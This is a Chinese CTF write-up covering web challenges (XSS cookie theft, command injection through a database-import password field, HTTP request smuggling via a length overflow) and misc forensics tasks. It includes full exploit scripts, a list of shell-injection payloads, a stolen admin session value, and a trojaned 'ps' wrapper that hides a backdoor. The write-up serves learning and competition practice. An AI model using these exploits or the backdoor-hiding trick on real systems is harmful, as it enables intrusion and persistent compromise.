WEB

Level 24 Pacman

image-20250205172238481

image-20250205172307053

一眼栅栏密码

image-20250205172836520

Level 69 MysteryMessageBoard

不安全 | 正在勘探中 | 少量实体

在一个昏暗的空间里,存在着一块神秘的留言板,挂在虚拟墙壁上,仿佛可以窥见外界的光明。每一条信息都能带来不同的后果,但它们都被一个神秘的管理者所审视,这位管理者决定了谁能够通过这扇门,谁将永远被困在这片虚拟的牢笼中。

这块留言板被某种看不见的力量所控制,留言的内容似乎会触发某种仪式,每个输入的字符都充满了未知的能量。输入者的每一句话,都可能成为被审视的焦点,甚至引发一种奇异的变化,仿佛信息的力量能够改变现实,带着留言者穿越虚拟与真实的边界。

这块留言板上的秘密,正等待着被揭开

(容器内端口为8888)

image-20250205185321925

结合题干不难猜出是xss

image-20250205185430904

平台生成一句话后插入

不知道是bot访问慢得原因 还是需要手动访问admin触发(dirsearch扫
反正这里我等了很久 但是思路肯定是对的,然后就得到admin的session

image-20250205190743874

1
session=MTczODc1MzQ4MnxEWDhFQVFMX2dBQUJFQUVRQUFBbl80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQWNBQldGa2JXbHV8QTQGo4jIRQGOKGGbB5DeeLvuqF0XnEa0h2fC23K4MlQ=

拿着session登录admin

image-20250205190917062

直接访问/flag路由即可

image-20250215142935384

Level 21096 HoneyPot

安全等级未知 | 未知 | 实体数量未知

蜜罐(Honeypot)是一个看似平静却诡异的数据空间。

在这里,每一个数据包都像是被精心布置的陷阱,每一行代码都潜藏着未知的风险。

看似普通的端口,背后隐藏了什么未知的风险?

无数的探索者试图穿越这些端口,却发现自己总是在同一个循环中。端口看似开放,实则是一个精心设计的迷宫。

每一次连接都会被收录,每一个请求都会被接纳,但背后隐藏着什么,没有人能说清楚。这里收集的不仅仅是数据,更是意图。

尝试进行攻击脱库的选手无一例外倒在了甜蜜的诱惑面前,你也不例外。

在这里,每一个连接都是一次邀请,每一个请求都是一场赌局。你准备好了吗?

一些关于本题的说明
1.本题出网
2.容器内置有/writeflag命令,会把预设的flag写入到/flag位置进行读取。
3.本题为多容器题目,可通过UI连接预设数据库。数据库启动需要时间,预计容器启动后一分钟内可正常连接赛题数据库.
如遇问题请及时联系出题人.

分析源码

发现sanitizeInput在对输入进行过滤

image-20250215140620390

发现password没有过该过滤函数,那么password很可能是注入点

image-20250215140640891

执行writeflag即可成功

image-20250215140840289

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import requests
import json
import time

def exploit(url):
# 首先测试数据库连接
test_db_payload = {
"host": "127.0.0.1",
"port": "3306",
"username": "root",
"password": "root"
}

try:
# 测试数据库连接
print("[+] 正在测试数据库连接...")
r0 = requests.post(f"{url}/api/test-connection", json=test_db_payload)
print(f"[*] 数据库连接测试响应: {r0.text}")

# 等待一下确保数据库连接成功
time.sleep(2)

# 尝试连接数据库
print("[+] 正在连接数据库...")
r1 = requests.post(f"{url}/api/connect", json=test_db_payload)
print(f"[*] 数据库连接响应: {r1.text}")

# 创建数据库
print("[+] 正在创建数据库...")
r2 = requests.get(f"{url}/api/database?db=test")
print(f"[*] 创建数据库响应: {r2.text}")

# 构造用于命令注入的payload
import_payload = {
"remote_host": "127.0.0.1",
"remote_port": "3306",
"remote_username": "root",
"remote_password": "`/writeflag`", # 使用反引号执行命令
"remote_database": "test",
"local_database": "test"
}

# 发送命令注入请求
print("[+] 正在尝试命令注入...")
r3 = requests.post(f"{url}/api/import", json=import_payload)
print(f"[*] 命令注入响应: {r3.text}")

# 等待一下确保flag写入完成
time.sleep(1)

# 读取flag
print("[+] 正在读取flag...")
r4 = requests.get(f"{url}/flag")
print(f"[*] Flag内容: {r4.text}")

# 如果还是fake flag,尝试其他注入方式
if "fake_flag" in r4.text:
print("[+] 尝试其他命令注入方式...")
payloads = [
"$(./writeflag)",
"`./writeflag`",
"$(bash -c './writeflag')",
"`bash -c './writeflag'`",
"$(sh -c './writeflag')",
"`sh -c './writeflag'`"
]

for p in payloads:
import_payload["remote_password"] = p
print(f"[+] 尝试payload: {p}")
r5 = requests.post(f"{url}/api/import", json=import_payload)
print(f"[*] 命令注入响应: {r5.text}")
time.sleep(1)

r6 = requests.get(f"{url}/flag")
print(f"[*] Flag内容: {r6.text}")
if "fake_flag" not in r6.text:
break

except Exception as e:
print(f"[-] 发生错误: {str(e)}")

if __name__ == "__main__":
target_url = "http://node1.hgame.vidar.club:30108"
exploit(target_url.rstrip("/"))

image-20250215141030840

官方题解

1
2
3
4
5
6
7
8
{
"remote_host": "127.0.0.1",
"remote_port": "3306",
"remote_username": "root",
"remote_password": ";/writeflag;#", # 使用反引号执行命令
"remote_database": "test",
"local_database": "test"
}

Level 111 不存在的车厢

后端服务定义了两个路由

/返回字符串,flag路由只接受POST请求

image-20250221174123138

HTTP接口只允许GET请求

image-20250221175119411

通过自定义的H111协议转发请求

image-20250221181604580

然后审计H111,请求 body 长度超过 65535 字节,实际写入的长度会发生MOD 2^16运算(即取低 16 位)

image-20250221182454039

构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env python3
import socket
import struct

def build_smuggled_request():
method = b"POST"
uri = b"/flag"
header_count = 0
fixed_part = (
struct.pack(">H", len(method)) + method +
struct.pack(">H", len(uri)) + uri +
struct.pack(">H", header_count)
)
# body_size 为 65536 - 固定部分(17 字节) - 2 字节 body 长度字段
body_size = 65536 - (len(fixed_part) + 2)
# 构造 body,此处填充 A 字符
body = b"A" * body_size

# 构造 body 部分:先写 2 字节的 body 长度(body_size,uint16),再写 body 内容
body_part = struct.pack(">H", body_size) + body

smuggled = fixed_part + body_part
assert len(smuggled) == 65536, f"smuggled length = {len(smuggled)} != 65536"
return smuggled

def build_payload(padding_size, smuggled):
padding = b"B" * padding_size # P 字节填充(例如 100 字节)
full_body = padding + smuggled
return full_body

def build_http_request(full_body):
request_line = b"GET /flag HTTP/1.1\r\n"
headers = (
b"Host: 127.0.0.1:8081\r\n" +
b"Content-Length: " + str(len(full_body)).encode() + b"\r\n" +
b"\r\n"
)
http_request = request_line + headers + full_body
return http_request

def send_payload(host, port, payload):
with socket.create_connection((host, port)) as s:
print(f"[+] Connected to {host}:{port}")
s.sendall(payload)
print("[+] Payload sent, waiting for response...")
response = b""
s.settimeout(2)
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
pass
print("[+] Received response:")
try:
print(response.decode())
except UnicodeDecodeError:
print(response)

def main():
# 选择填充长度 P
padding_size = 100
smuggled = build_smuggled_request()
print(f"[+] Smuggled request length: {len(smuggled)} bytes")
full_body = build_payload(padding_size, smuggled)
print(f"[+] Total HTTP request body length: {len(full_body)} bytes")
http_request = build_http_request(full_body)
print(f"[+] Total HTTP request length: {len(http_request)} bytes")
send_payload("node1.hgame.vidar.club", 30988, http_request)

if __name__ == "__main__":
main()

多发送几次

image-20250221183322645

MISC

Hakuya Want A Girl Friend

reverse后调整十六进制前后位

1
2
3
4
5
6
7
8
9
with open('1.txt', 'r') as f:
content = f.read().strip()

hex_list = content.split()

reversed_hex = [f"{h[1]}{h[0]}".upper() for h in hex_list]

with open('1.txt', 'w') as f:
f.write(' '.join(reversed_hex))

image-20250205203015744

得到帅照

image-20250205203034684

改长宽

image-20250205203215587

根据png文件头尾可以分离出另一个压缩包
image-20250205204102932

image-20250205204155939

Computer cleaner

不多评价。

Part 1

image-20250205210057207

Part 2

image-20250205211034665

Part 3

image-20250205210034731

image-20250205210153499

Computer cleaner plus

小明发现他的另一台虚拟机也遭遇了同样的问题,他按照你的步骤清理干净了自己的电脑,但是一段时间后发现自己的电脑还在遭受黑客的控制,请你再帮他排查一下造成这一情况的原因

flag为:hgame{可执行恶意文件名称} (不带后缀)

链接: https://pan.baidu.com/s/1llEm8fDtMB64-rS0BSr-2g?pwd=vid4 提取码: vid4

onedrive下载:https://1drv.ms/u/c/ad1d293564fdb7f1/EW7NmctH6uVHu7O2jmJc-MgBfkCGleo32fMbJ3cLogWZfQ?e=esy3if

压缩包密码:d567e04a-63c1-4cf7-acaf-89f7ab8c5841

虚拟机账号:root 密码:123456

image-20250215135330635

image-20250215135355118

1
2
[root@192 bin]# cat ps
/B4ck_D0_oR.elf & /.hide_command/ps |grep -v "shell" |grep -v "B4ck_D0_oR" |grep "bash"